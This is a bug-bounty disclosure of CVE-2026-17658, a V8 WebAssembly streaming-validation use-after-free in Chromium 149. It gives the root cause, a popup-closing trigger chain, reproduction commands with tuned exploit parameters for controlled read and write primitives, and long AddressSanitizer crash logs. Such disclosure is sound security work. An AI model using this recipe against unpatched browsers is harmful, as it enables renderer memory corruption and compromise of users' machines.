Skip to content
Memory corruption Advisory Advanced CVE-2026-17658

Use after free in V8 (CVE-2026-17658)

A web page can free WebAssembly streaming-validation state while a validation worker thread is still using it, by starting compileStreaming in a same-origin popup and then closing that popup. The proof escalates the dangling access into a controlled type confusion and demonstrates controlled read, controlled write and full arbitrary read/write from web content on an ASAN build.

Duc Nguyen Follow

Originally disclosed on Chrome VRP

Bounty$1,000 High View original
  • Fix shipped in 48 days

V8 WebAssembly streaming-validation use-after-free (renderer)

Report fields

  • Program: Chrome Vulnerability Reward Program
  • Product / component: Chrome renderer — V8 WebAssembly streaming compilation and Wasm GC validation
  • Vulnerability type: Use-after-free (renderer memory corruption)
  • Affected version: Chromium 149.0.7827.102 (stable), x64
  • Demonstrated primitives: controlled read, controlled write, and full arbitrary read/write from web content (see Memory-corruption primitives below).

Summary

A web page can free WebAssembly streaming-validation state while a validation worker thread is still using it. The page starts WebAssembly.compileStreaming() in a same-origin top-level popup, keeps validation busy with an attacker-controlled ReadableStream, then closes the popup. Closing a top-level page tears down the async compile job and its streaming processor, but the validation worker keeps running and dereferences the now-freed validation and module state.

The proof escalates that dangling access into a controlled type confusion and demonstrates, on the ASAN build, a graduated set of memory-corruption primitives reachable from a web page: a controlled read from an attacker-chosen address, a controlled write of an attacker-chosen value to an attacker-chosen address, and a full arbitrary read/write of a victim TypedArray whose corrupted length is visible from JavaScript.

This report is scoped to a renderer-side memory-corruption primitive reachable from web content. It does not claim a sandbox escape or browser-process compromise.

Root cause

Blink uses different V8 disposal semantics for top-level frames and dependent subframes:

C++
// third_party/blink/renderer/core/frame/local_window_proxy.cc
//   LocalWindowProxy::DisposeContext(...)
isolate->ContextDisposedNotification(!is_main_frame);

For a top-level popup, is_main_frame is true, so V8 receives dependant_context == false. That path deletes the active Wasm compile job:

C++
// v8/src/api/api.cc — v8::Isolate::ContextDisposedNotification(bool dependant_context)
if (!dependant_context) {
  if (!i_isolate->context().is_null()) {
    wasm::GetWasmEngine()->DeleteCompileJobsOnContext(
        i_isolate->native_context());
  }
}

Destroying the async compile job tells the streaming decoder that compilation was discarded:

C++
// v8/src/wasm/module-compiler.cc — AsyncCompileJob::~AsyncCompileJob()
if (stream_) stream_->NotifyCompilationDiscarded();

The lifetime that goes wrong:

  • AsyncStreamingProcessor owns ValidateFunctionsStreamingJobData, the validation job handle, and the module/validation state the worker reads.
  • ValidateFunctionsStreamingJob::Run() (worker thread) reads data_->GetUnit(), calls ValidateSingleFunction(module_, ...), and writes data_->UpdateDetectedFeatures(...).

Failing invariant: a streaming Wasm validation job must not outlive the processor-owned validation data and module state its worker thread dereferences.

The safe stream-finish and abort paths cancel or join validation work before freeing processor state. The top-level context-disposal discard path reaches processor teardown through NotifyCompilationDiscarded() without first proving the validation worker has stopped.

Trigger

The bug needs a top-level page lifetime transition — a same-origin iframe does not hit the same compile-job deletion path, so subframe disposal is not equivalent.

To obtain a top-level window without depending on permissive popup settings, the proof uses Payment Handler delivery:

  1. index.html registers payment-handler-sw.js and calls PaymentRequest.show().
  2. The service worker opens wasm-asan-controlled-crash-poc.html in a top-level window.
  3. That page opens a same-origin about:blank victim popup.
  4. The victim starts WebAssembly.compileStreaming() over a parent-controlled Response.
  5. The parent closes the victim while code-section validation is still active.
  6. Replacement modules reclaim the freed validation state, giving the page control over it.

Reproduction

Environment

Text
OS:        Debian GNU/Linux 12 (bookworm), x86_64
Kernel:    5.15.0-176-generic
glibc:     2.36
Chrome:    Chromium 149.0.7827.102, x64, AddressSanitizer build
GN config: is_asan = true, is_debug = false, target_cpu = "x64",
           v8_enable_sandbox = true, dcheck_always_on = false

Stable 149.0.7827.102 is a release-branch build and is not published as an official ASAN binary; the binary here is built from the exact 149.0.7827.102 source (chromium commit 112f665d98a2fe84b156c74fbea2aed742f16c15) with the ASAN configuration above.

Steps

Bash
cd VRP-submission/bug1-wasm-streaming-uaf/poc
EXPLOIT_SERVER_PORT=18096 python3 serve_poc.py
Bash
CHROME_ASAN=/path/to/149.0.7827.102/asan/chrome
ASAN_OPTIONS='detect_odr_violation=0:detect_leaks=0:symbolize=1:abort_on_error=1:quarantine_size_mb=0:thread_local_quarantine_size_kb=0'
FLAGS="--headless=new --no-sandbox --disable-crashpad --disable-breakpad --disable-crash-reporter --enable-logging=stderr"
BASE="http://127.0.0.1:18096/index.html?proof_id=vrp-bug1&payment_hold_ms=90000&exploit_path=%2Fwasm-asan-controlled-crash-poc.html&auto_start=1&auto_start_delay_ms=0&stream_reclaimer_rounds=18&stream_reclaimer_interval=50&victim_target_nops=5000000&replacement_pretarget_nops=5000000&stream_reclaimer_close_delay=800&clear_timers=1&close_on_finish=1&finish_delay=45000&global_finish_delay=90000"

# Controlled read  (load from attacker-chosen address 0x414243444546)
rm -rf /tmp/p-r; ASAN_OPTIONS="$ASAN_OPTIONS" "$CHROME_ASAN" $FLAGS --user-data-dir=/tmp/p-r \
  "$BASE&asan_crash=forged_read64&asan_crash_value=0x414243444546"

# Controlled write (store chosen value 0x5152535455565758 to chosen address 0x414243444546)
rm -rf /tmp/p-w; ASAN_OPTIONS="$ASAN_OPTIONS" "$CHROME_ASAN" $FLAGS --user-data-dir=/tmp/p-w \
  "$BASE&asan_crash=forged_write64&asan_crash_value=0x414243444546&asan_crash_write_value=0x5152535455565758"

The exploit races a validation worker against context disposal, so it is timing-sensitive; re-run if the RUN12x markers do not appear (the parameters above are tuned for this build).

Memory-corruption primitives

All output below is the unmodified stderr from the 149.0.7827.102 ASAN build. Full run logs are under traces/.

The bug — validation worker reads freed state

The streaming-validation worker thread crashes while dereferencing its freed job state. Full AddressSanitizer report (traces/plain-uaf-crash/chrome.stderr.log):

Text
=================================================================
==3234593==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bfc6d391888 at pc 0x7f4c8e291271 bp 0x7b484c6444a0 sp 0x7b484c644498
READ of size 8 at 0x7bfc6d391888 thread T8 (ThreadPoolForeg)
    #0 0x7f4c8e291270 in v8::internal::wasm::ValidateFunctionsStreamingJob::GetMaxConcurrency(unsigned long) const gen/third_party/libc++/src/include/__atomic/support/c11.h:81:10
    #1 0x7f4c88cc6939 in base::internal::Invoker<base::internal::FunctorTraits<gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_1 const&, v8::JobTask*>, base::internal::BindState<false, false, false, gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_1, base::internal::UnretainedWrapper<v8::JobTask, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, unsigned long (unsigned long)>::Run(base::internal::BindStateBase*, unsigned long) gin/v8_platform.cc:306:30
    #2 0x7f4cf1fb45af in base::RepeatingCallback<unsigned long (unsigned long)>::Run(unsigned long) const & base/functional/callback.h:346:12
    #3 0x7f4cf1fb3b54 in base::internal::JobTaskSource::WillRunTask() base/task/thread_pool/job_task_source.cc:342:45
    #4 0x7f4cf1fd9efc in base::internal::ThreadGroup::TakeRegisteredTaskSource(base::internal::ThreadGroup::BaseScopedCommandsExecutor*) base/task/thread_pool/thread_group.cc:272:54
    #5 0x7f4cf1fe1887 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWorkLockRequired(base::internal::ThreadGroup::BaseScopedCommandsExecutor*, base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:527:27
    #6 0x7f4cf1fe20b9 in base::internal::ThreadGroupImpl::WorkerDelegate::SwapProcessedTask(base::internal::RegisteredTaskSource, base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:620:24
    #7 0x7f4cf1ff96e3 in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:486:23
    #8 0x7f4cf1ff87fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #9 0x7f4cf1ff8212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #10 0x7f4cf208c8bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #11 0x55833206bfb6 in asan_thread_start(void*) asan_interceptors.cpp

0x7bfc6d391888 is located 120 bytes after 112-byte region [0x7bfc6d3917a0,0x7bfc6d391810)
allocated by thread T0 (chrome) here:
    #0 0x5583320a763d in operator new(unsigned long) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x679563d) (BuildId: b2222a0c4e545691)
    #1 0x7f4cf02638c3 in ipcz::RemoteRouterLink::Create(ipcz::Ref<ipcz::NodeLink>, ipcz::StrongAlias<ipcz::SublinkIdTag, unsigned long>, ipcz::FragmentRef<ipcz::RouterLinkState>, ipcz::LinkType, ipcz::LinkSide) third_party/ipcz/src/ipcz/remote_router_link.cc:51:19
    #2 0x7f4cf0230c01 in ipcz::NodeLink::AddRemoteRouterLink(ipcz::StrongAlias<ipcz::SublinkIdTag, unsigned long>, ipcz::FragmentRef<ipcz::RouterLinkState>, ipcz::LinkType, ipcz::LinkSide, ipcz::Ref<ipcz::Router>) third_party/ipcz/src/ipcz/node_link.cc:122:15
    #3 0x7f4cf0276ad3 in ipcz::Router::SerializeNewRouterWithLocalPeer(ipcz::NodeLink&, ipcz::RouterDescriptor&, ipcz::Ref<ipcz::Router>) third_party/ipcz/src/ipcz/router.cc:903:43
    #4 0x7f4cf0276563 in ipcz::Router::SerializeNewRouter(ipcz::NodeLink&, ipcz::RouterDescriptor&) third_party/ipcz/src/ipcz/router.cc:856:7
    #5 0x7f4cf02657fb in ipcz::RemoteRouterLink::AcceptParcel(std::__Cr::unique_ptr<ipcz::Parcel, std::__Cr::default_delete<ipcz::Parcel>>) third_party/ipcz/src/ipcz/remote_router_link.cc:298:17
    #6 0x7f4cf026c6cd in ipcz::Router::SendOutboundParcel(std::__Cr::unique_ptr<ipcz::Parcel, std::__Cr::default_delete<ipcz::Parcel>>) third_party/ipcz/src/ipcz/router.cc:200:11
    #7 0x7f4cf0271077 in ipcz::Router::Put(absl::Span<unsigned char const>, absl::Span<unsigned long const>) third_party/ipcz/src/ipcz/router.cc:409:29
    #8 0x7f4cf01f1232 in Put third_party/ipcz/src/api.cc:173:18
    #9 0x7f4cf019a662 in MojoWriteMessageIpcz mojo/core/core_ipcz.cc:197:29
    #10 0x7f4cf00f8360 in MojoWriteMessage mojo/public/c/system/thunks.cc:81:10
    #11 0x7f4cf0481d57 in mojo::Connector::AcceptAndGetResult(mojo::Message*) mojo/public/cpp/system/message_pipe.h:97:10
    #12 0x7f4cf04819c8 in mojo::Connector::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/connector.cc:317:23
    #13 0x7f4cf04998ae in mojo::InterfaceEndpointClient::SendMessage(mojo::Message*, bool) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:636:21
    #14 0x7f4cf0405155 in mojo::internal::SendMojoMessage(mojo::MessageReceiver&, mojo::Message&) mojo/public/cpp/bindings/lib/send_message_helper.cc:22:26
    #15 0x7f4ca07cebaa in ukm::mojom::UkmRecorderFactoryProxy::CreateUkmRecorder(mojo::PendingReceiver<ukm::mojom::UkmRecorderInterface>, mojo::PendingRemote<ukm::mojom::UkmRecorderClientInterface>) gen/services/metrics/public/mojom/ukm_interface.mojom.cc:921:3
    #16 0x7f4cec2bd8d6 in ukm::MojoUkmRecorder::MojoUkmRecorder(ukm::mojom::UkmRecorderFactory&) services/metrics/public/cpp/mojo_ukm_recorder.cc:25:13
    #17 0x7f4cec2bd5c1 in ukm::MojoUkmRecorder::Create(ukm::mojom::UkmRecorderFactory&) services/metrics/public/cpp/mojo_ukm_recorder.cc:20:31
    #18 0x7f4c9f3b86e7 in blink::Document::UkmRecorder() (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x6c0d6e7) (BuildId: 86034637d8af1588)
    #19 0x7f4c9e32b2d6 in blink::FrameLoader::CommitDocumentLoader(blink::DocumentLoader*, blink::HistoryItem*, blink::CommitReason) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x5b802d6) (BuildId: 86034637d8af1588)
    #20 0x7f4c9e336671 in blink::FrameLoader::CommitNavigation(std::__Cr::unique_ptr<blink::WebNavigationParams, std::__Cr::default_delete<blink::WebNavigationParams>>, std::__Cr::unique_ptr<blink::WebDocumentLoader::ExtraData, std::__Cr::default_delete<blink::WebDocumentLoader::ExtraData>>, blink::CommitReason) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x5b8b671) (BuildId: 86034637d8af1588)
    #21 0x7f4c9cc4635b in blink::WebLocalFrameImpl::CommitNavigation(std::__Cr::unique_ptr<blink::WebNavigationParams, std::__Cr::default_delete<blink::WebNavigationParams>>, std::__Cr::unique_ptr<blink::WebDocumentLoader::ExtraData, std::__Cr::default_delete<blink::WebDocumentLoader::ExtraData>>) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x449b35b) (BuildId: 86034637d8af1588)
    #22 0x7f4cd5f76fab in content::RenderFrameImpl::SynchronouslyCommitAboutBlankForBug778318(std::__Cr::unique_ptr<blink::WebNavigationInfo, std::__Cr::default_delete<blink::WebNavigationInfo>>) content/renderer/render_frame_impl.cc:5772:11
    #23 0x7f4cd5f744da in content::RenderFrameImpl::BeginNavigation(std::__Cr::unique_ptr<blink::WebNavigationInfo, std::__Cr::default_delete<blink::WebNavigationInfo>>) content/renderer/render_frame_impl.cc:5701:5
    #24 0x7f4c9cbc3142 in blink::LocalFrameClientImpl::BeginNavigation(blink::ResourceRequest const&, blink::KURL const&, blink::mojom::RequestContextFrameType, blink::LocalDOMWindow*, blink::DocumentLoader*, blink::WebNavigationType, blink::NavigationPolicy, blink::WebFrameLoadType, blink::mojom::ForceHistoryPush, bool, bool, blink::mojom::TriggeringEventInfo, blink::HTMLFormElement*, network::mojom::CSPDisposition, mojo::PendingRemote<blink::mojom::blink::BlobURLToken>, base::TimeTicks, base::TimeTicks, blink::String const&, std::__Cr::optional<blink::Impression> const&, base::TokenType<blink::LocalFrameTokenTypeMarker> const*, blink::SourceLocation*, mojo::PendingRemote<blink::mojom::blink::NavigationStateKeepAliveHandle>, bool, bool, mojo::PendingReceiver<blink::mojom::blink::NavigationResumeDeferredCommitListener>, std::__Cr::optional<base::UnguessableToken>) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x4418142) (BuildId: 86034637d8af1588)
    #25 0x7f4c9e33247c in blink::FrameLoader::StartNavigation(blink::FrameLoadRequest&, blink::WebFrameLoadType) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x5b8747c) (BuildId: 86034637d8af1588)
    #26 0x7f4c9c9c9a10 in blink::LocalFrame::Navigate(blink::FrameLoadRequest&, blink::WebFrameLoadType) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x421ea10) (BuildId: 86034637d8af1588)
    #27 0x7f4c9c9abcc0 in blink::LocalDOMWindow::open(v8::Isolate*, blink::String const&, blink::AtomicString const&, blink::String const&, blink::ExceptionState&) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x4200cc0) (BuildId: 86034637d8af1588)
    #28 0x7f4c84776ef5 in blink::(anonymous namespace)::v8_window::OpenOperationCallback(v8::FunctionCallbackInfo<v8::Value> const&) v8_window.cc
    #29 0x7b483ac906d3  (<unknown module>)

Thread T8 (ThreadPoolForeg) created by T4 (ThreadPoolForeg) here:
    #0 0x558332051e31 in pthread_create (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x673fe31) (BuildId: b2222a0c4e545691)
    #1 0x7f4cf208bf7c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
    #2 0x7f4cf1ff7011 in base::internal::WorkerThread::Start(scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*) base/task/thread_pool/worker_thread.cc:185:3
    #3 0x7f4cf1fd7802 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush() base/task/thread_pool/thread_group.cc:65:13
    #4 0x7f4cf1fd748e in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor() base/task/thread_pool/thread_group.cc:56:3
    #5 0x7f4cf1fe1106 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWork(base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:71:3
    #6 0x7f4cf1ff942a in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:460:52
    #7 0x7f4cf1ff87fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #8 0x7f4cf1ff8212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #9 0x7f4cf208c8bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #10 0x55833206bfb6 in asan_thread_start(void*) asan_interceptors.cpp

Thread T4 (ThreadPoolForeg) created by T0 (chrome) here:
    #0 0x558332051e31 in pthread_create (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x673fe31) (BuildId: b2222a0c4e545691)
    #1 0x7f4cf208bf7c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
    #2 0x7f4cf1ff7011 in base::internal::WorkerThread::Start(scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*) base/task/thread_pool/worker_thread.cc:185:3
    #3 0x7f4cf1fd7802 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush() base/task/thread_pool/thread_group.cc:65:13
    #4 0x7f4cf1fd748e in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor() base/task/thread_pool/thread_group.cc:56:3
    #5 0x7f4cf1fde7f5 in base::internal::ThreadGroupImpl::Start(unsigned long, unsigned long, base::TimeDelta, scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*, base::internal::ThreadGroup::WorkerEnvironment, bool, std::__Cr::optional<base::TimeDelta>) base/task/thread_pool/thread_group_impl.cc:71:3
    #6 0x7f4cf1feb3c4 in base::internal::ThreadPoolImpl::Start(base::ThreadPoolInstance::InitParams const&, base::WorkerThreadObserver*) base/task/thread_pool/thread_pool_impl.cc:241:35
    #7 0x7f4cd158354d in content::ChildProcess::ChildProcess(base::ThreadType, std::__Cr::unique_ptr<base::ThreadPoolInstance::InitParams, std::__Cr::default_delete<base::ThreadPoolInstance::InitParams>>, bool) content/child/child_process.cc:112:20
    #8 0x7f4cd5fafd7a in content::RenderProcess::RenderProcess(std::__Cr::unique_ptr<base::ThreadPoolInstance::InitParams, std::__Cr::default_delete<base::ThreadPoolInstance::InitParams>>) content/renderer/render_process.cc:18:7
    #9 0x7f4cd5fafe32 in content::RenderProcessImpl::RenderProcessImpl() content/renderer/render_process_impl.cc:99:7
    #10 0x7f4cd5fb02ea in content::RenderProcessImpl::Create() content/renderer/render_process_impl.cc:224:31
    #11 0x7f4cd5fe2ac8 in content::RendererMain(content::MainFunctionParams) content/renderer/renderer_main.cc:274:53
    #12 0x7f4cd64170b2 in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:665:14
    #13 0x7f4cd64181a8 in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:772:12
    #14 0x7f4cd641ac36 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1164:10
    #15 0x7f4cd6415006 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:356:36
    #16 0x7f4cd641536a in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:369:10
    #17 0x5583320a953c in ChromeMain chrome/app/chrome_main.cc:194:12
    #18 0x7f4c7d107249 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-buffer-overflow gen/third_party/libc++/src/include/__atomic/support/c11.h:81:10 in v8::internal::wasm::ValidateFunctionsStreamingJob::GetMaxConcurrency(unsigned long) const
Shadow bytes around the buggy address:
  0x7bfc6d391600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bfc6d391680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bfc6d391700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bfc6d391780: fa fa f7 fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bfc6d391800: 00 00 fa fa fa fa fa fa f7 fa fa fa fa fa fa fa
=>0x7bfc6d391880: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa f7 fa
  0x7bfc6d391900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa
  0x7bfc6d391980: fa fa fa fa f7 fa 00 00 00 00 00 00 00 00 00 00
  0x7bfc6d391a00: 00 00 00 00 fa fa fa fa fa fa f7 fa fa fa fa fa
  0x7bfc6d391a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bfc6d391b00: f7 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

==3234593==ADDITIONAL INFO

==3234593==Note: Please include this section with the ASan report.
Task trace:


Command line: `/proc/self/exe --type=renderer --crashpad-handler-pid=3234431 --enable-crash-reporter=, --noerrdialogs --user-data-dir=/tmp/chrome-vrp-bug1-asan-crash-profile-20260612T010104Z --change-stack-guard-on-fork=enable --no-sandbox --disable-breakpad --ozone-platform=headless --lang=en-US --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1778031425899540 --launch-time-ticks=3194642331844 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,5110095603065809577,10759143092396146351,262144 --disable-features=PaintHolding --variations-seed-version --pseudonymization-salt-handle=7,i,2230811171117207483,3885191951693691263,4 --trace-process-track-uuid=3190708991934122588 --enable-logging=stderr`


==3234593==END OF ADDITIONAL INFO

==3234593==ABORTING

Frame #0 on a thread-pool worker is the validation worker; the freed ValidateFunctionsStreamingJobData was reallocated and the worker reads through the stale pointer.

Controlled read

asan_crash=forged_read64&asan_crash_value=0x414243444546 makes V8 load 8 bytes from an attacker-chosen address. The page logs the armed primitive, then the load faults:

Text
RUN121_ASAN_CONTROLLED_CRASH_ARMED kind=forged_read64 index=1 byte_offset=8 value=0x414243444546 view_byteLength=64 view_length=8 buffer_byteLength=8
RUN121_ASAN_CONTROLLED_REGISTER_CRASH_ARMED kind=forged_read64 target=0x414243444546 forge_arg=0x41424344453e write_value=0x5152535455565758 alias_type=number
=================================================================
==3241928==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7caa9e48c3f8 at pc 0x7ffabf3c3271 bp 0x7bfa7d27a6c0 sp 0x7bfa7d27a6b8
READ of size 8 at 0x7caa9e48c3f8 thread T8 (ThreadPoolForeg)
[0612/010516.751271:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2)
[0612/010516.751458:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2)
Received signal 11 SEGV_ACCERR 7a9c43444545
Received signal 11 SEGV_ACCERR 7a9c43444545

The fault value 7a9c43444545 is the chosen 0x414243444546 after V8 pointer-tag/cage decoding; its high bits match this run's leaked heap base (RUN119_ADDROF_LEAK value=0x7a9c01077889), so the read address is attacker-derived, not random. Full log: traces/controlled-read-and-arw/chrome.stderr.log.

Controlled write

asan_crash=forged_write64&asan_crash_value=0x414243444546&asan_crash_write_value=0x5152535455565758 makes V8 store an attacker-chosen value to an attacker-chosen address. This run captured the validation worker reading freed signature storage from inside the attacker-driven streaming decode, then the forged store faulting at the chosen address (traces/controlled-write/):

Text
RUN121_ASAN_CONTROLLED_REGISTER_CRASH_ARMED kind=forged_write64 target=0x414243444546 forge_arg=0x41424344453e write_value=0x5152535455565758 alias_type=number
=================================================================
==3481237==ERROR: AddressSanitizer: container-overflow on address 0x7c3aa9c46790 at pc 0x7f8acab1c1e8 bp 0x7b89994761b0 sp 0x7b89994761a8
READ of size 8 at 0x7c3aa9c46790 thread T13 (ThreadPoolForeg)
    #0 0x7f8acab1c1e7 in v8::internal::wasm::ValidateFunctionsStreamingJob::Run(v8::JobDelegate*) gen/third_party/libc++/src/include/__atomic/support/c11.h:81:10
    #1 0x7f8ac55515f3 in base::internal::Invoker<base::internal::FunctorTraits<gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_0 const&, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>> const&>, base::internal::BindState<false, false, false, gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_0, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>>, void (base::JobDelegate*)>::Run(base::internal::BindStateBase*, base::JobDelegate*) gin/v8_platform.cc:301:23
    #2 0x7f8b2e83e88f in base::RepeatingCallback<void (base::JobDelegate*)>::Run(base::JobDelegate*) const & base/functional/callback.h:346:12
    #3 0x7f8b2e83ff7f in base::internal::Invoker<base::internal::FunctorTraits<base::internal::JobTaskSource::JobTaskSource(base::Location const&, base::TaskTraits const&, base::ThreadType, base::RepeatingCallback<void (base::JobDelegate*)>, base::RepeatingCallback<unsigned long (unsigned long)>, base::internal::PooledTaskRunnerDelegate*)::$_0 const&, base::internal::JobTaskSource*>, base::internal::BindState<false, false, false, base::internal::JobTaskSource::JobTaskSource(base::Location const&, base::TaskTraits const&, base::ThreadType, base::RepeatingCallback<void (base::JobDelegate*)>, base::RepeatingCallback<unsigned long (unsigned long)>, base::internal::PooledTaskRunnerDelegate*)::$_0, base::internal::UnretainedWrapper<base::internal::JobTaskSource, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void ()>::Run(base::internal::BindStateBase*) base/task/thread_pool/job_task_source.cc:114:32
    #4 0x7f8b2e7a0da9 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #5 0x7f8b2e8604eb in base::internal::TaskTracker::RunTaskImpl(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/common/task_annotator.h:112:5
    #6 0x7f8b2e860716 in base::internal::TaskTracker::RunSkipOnShutdown(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/thread_pool/task_tracker.cc:675:3
    #7 0x7f8b2e85eccf in base::internal::TaskTracker::RunTask(base::internal::Task, base::internal::TaskSource*, base::TaskTraits const&, base::ThreadType) base/task/thread_pool/task_tracker.cc:705:7
    #8 0x7f8b2e85de8b in base::internal::TaskTracker::RunAndPopNextTask(base::internal::RegisteredTaskSource) base/task/thread_pool/task_tracker.cc:393:5
    #9 0x7f8b2e8845e3 in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:473:36
    #10 0x7f8b2e8837fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #11 0x7f8b2e883212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #12 0x7f8b2e9178bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #13 0x55721b03afb6 in asan_thread_start(void*) asan_interceptors.cpp

0x7c3aa9c46790 is located 80 bytes inside of 112-byte region [0x7c3aa9c46740,0x7c3aa9c467b0)
allocated by thread T0 (chrome) here:
    #0 0x55721b07663d in operator new(unsigned long) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x679563d) (BuildId: b2222a0c4e545691)
    #1 0x7f8ac8ae228f in std::__Cr::vector<unsigned char, std::__Cr::allocator<unsigned char>>::reserve(unsigned long) gen/third_party/libc++/src/include/__new/allocate.h:42:28
    #2 0x7f8acab4e533 in v8::internal::wasm::WasmModuleSignatureStorage::AllocateMoreStorage(unsigned long) v8/src/wasm/wasm-module.h:749:17
    #3 0x7f8acab4e2ff in v8::internal::wasm::WasmModuleSignatureStorage::Allocate(unsigned long, unsigned long) v8/src/wasm/wasm-module.h:710:7
    #4 0x7f8acab4c9c4 in v8::internal::wasm::ModuleDecoderImpl::consume_sig() v8/src/codegen/signature.h:42:25
